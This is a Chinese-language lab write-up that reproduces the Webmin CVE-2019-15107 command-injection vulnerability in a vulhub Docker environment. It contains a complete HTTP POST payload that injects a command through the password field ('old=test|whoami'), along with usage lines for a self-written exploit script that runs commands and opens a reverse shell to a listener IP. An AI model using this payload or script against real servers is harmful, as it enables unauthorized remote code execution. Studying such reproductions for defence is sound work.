一、环境搭建:
进入镜像目录:
cd vulhub/webmin/CVE-2019-15107
启动环境:
docker-compose up -d
访问:yourip:10000即可
二、漏洞描述:
该漏洞允许恶意第三方在缺少输入验证的情况下而执行恶意代码,由于password_change.cgi文件在重置密码功能中存在一个代码执行漏洞,允许恶意第三方在缺少输入验证的情况下而执行恶意代码
影响的版本:Webmin<=1.920
漏洞利用条件:版本满足要求,且服务器的配置文件允许修改密码时,在不知道webmin的用户和密码条件下,可以任意执行代码。
三、漏洞复现:
1、首先进入容器修改root的密码:
然后用系统账号密码登陆进后台,开启修改密码功能:
vulhub默认已经设置好了:
确认配置文件:
cat /etc/webmin/miniserv.conf
2、构造payload进行RCE:
POST /password_change.cgi HTTP/1.1Host: 192.168.136.131:10000User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1X-Requested-From: webminX-Requested-From-Tab: webminX-Requested-With: XMLHttpRequestReferer: https://192.168.136.131:10000/webmin/edit_session.cgi?xnavigation=1Cookie: redirect=1; testing=1; sid=80c904aa71f996b05d4c7ec9c4260335; sessiontest=1Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 50 user=panda&old=test|whoami&new1=123456&new2=123456
执行结果:
四、漏洞EXP(自写):
脚本执行效果:
1、RCE:
python3 CVE-2019-15107.py https://192.168.136.131:10000 -f rce
2、反弹shell:
python3 CVE-2019-15107.py https://192.168.136.131:10000 -f r_shell -l 192.168.136.129 -p 7777
成功反弹shell:
脚本已经打包好了,需要的看官后台留言:webmin exp
注意:脚本仅作为学习和讨论使用,禁止利用其进行任何违法行为,与作者无关!
注意:脚本仅作为学习和讨论使用,禁止利用其进行任何违法行为,与作者无关!